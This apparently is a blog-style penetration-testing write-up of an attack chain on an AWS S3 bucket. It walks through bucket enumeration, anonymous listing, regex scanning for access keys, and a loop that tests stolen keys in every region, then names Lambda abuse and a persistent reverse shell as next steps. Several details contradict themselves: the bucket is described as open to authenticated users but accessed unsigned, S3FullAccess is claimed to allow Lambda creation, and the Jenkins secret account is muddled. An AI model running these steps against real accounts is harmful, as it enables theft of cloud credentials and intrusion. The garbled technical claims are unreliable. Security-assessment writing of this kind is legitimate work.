Weaponizing Public Buckets

Title: Weaponizing Public Buckets
Date: 2024-10-27
Tags: Penetration Testing, Cloud Security, Amazon Web Services, Reconnaissance, Privilege Escalation

I. Introduction

1.1 Context & Purpose
  • During an external penetration test, misconfigured cloud storage is a frequent and high-impact finding.
  • This entry documents a real-world attack chain: discovering a public AWS S3 bucket, analyzing its contents, and leveraging found credentials to pivot into the cloud environment.
1.2 What This Covers
  • The reconnaissance phase using automated and manual tools.
  • Analyzing exfiltrated data for secrets.
  • Demonstrating a privilege escalation path from stolen IAM credentials.

II. Setup & Environment

2.1 Network & Tools Overview
Attacker Machine (Kali Linux):
└── Tools: `s3scanner`, `awscli`, `bucket-stream`, `truffleHog`, `PACU`

Target Scope: *.examplecorp.com (Bug Bounty Program)
2.2 Prerequisites / Preparations
  • Valid AWS account (for CLI profile configuration).
  • Tools installed and configured.
  • Legal authorization to test the target (via Bug Bounty program scope).

III. Execution & Findings

3.1 Steps Taken
  1. Enumeration: Used s3scanner with a custom wordlist based on target names.
python3 s3scanner.py --bucket-wordlist targets.txt --out-file buckets.txt

Found: dev-app-backups.examplecorp.com.

  1. Inspection: The bucket had List and Get permissions for "Any Authenticated AWS User."
aws s3 ls s3://dev-app-backups.examplecorp.com --no-sign-request
# Found: `application.tar.gz`, `config-backup.zip`
  1. Exfiltration & Analysis: Downloaded the config-backup.zip file. It contained a .env file with what appeared to be AWS keys.
# Quick Python check for key format
import re
with open('.env', 'r') as f:
    if re.search(r'AKIA[0-9A-Z]{16}', f.read()):
        print("[!] Potential AWS Access Key Found!")
3.2 Challenges & Fixes
  • Challenge: The stolen keys (AKIA...) were inactive in the us-east-1 region.
  • Fix: Used the AWS CLI's --region flag to enumerate all commercial regions. The keys were active in ap-southeast-2.
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
  AWS_ACCESS_KEY_ID=$STOLEN_KEY AWS_SECRET_ACCESS_KEY=$STOLEN_SECRET \
  aws sts get-caller-identity --region $region 2>/dev/null && echo "[+] Active in: $region"
done

IV. Observations & Insights

  • The Pivot: The compromised IAM user (backup-bot) had the managed policy AmazonS3FullAccess. This allowed us to write a malicious Lambda function and trigger it, effectively moving from storage to compute.
  • Unexpected Finding: The .env file also contained a hashed password for an internal Jenkins server, which reused the same secret.
  • The Real Impact: This wasn't just data exposure. It was a foothold. The chain was: Public Bucket → Stolen Keys → Assume Role (via attached policy) → Lateral Movement.

V. Considerations & Next Steps

  • For Defense: Enable S3 Block Public Access at the account level. Use IAM policies, not bucket policies, for granular control. Rotate credentials before storing them in backups.
  • For Offense: Next steps would involve using the compromised role to enumerate IAM policies, check for SSM parameters, and attempt to launch EC2 instances for a persistent reverse shell.

VI. Conclusion

  • Misconfigured storage is rarely an isolated finding. It's a critical node in a potential attack graph.
  • The exercise reinforced the principle of "assume breach." Even low-privilege, non-human credentials found in backups must be treated as catastrophic leaks, as they often have attached permissions or lead to other systems. EOL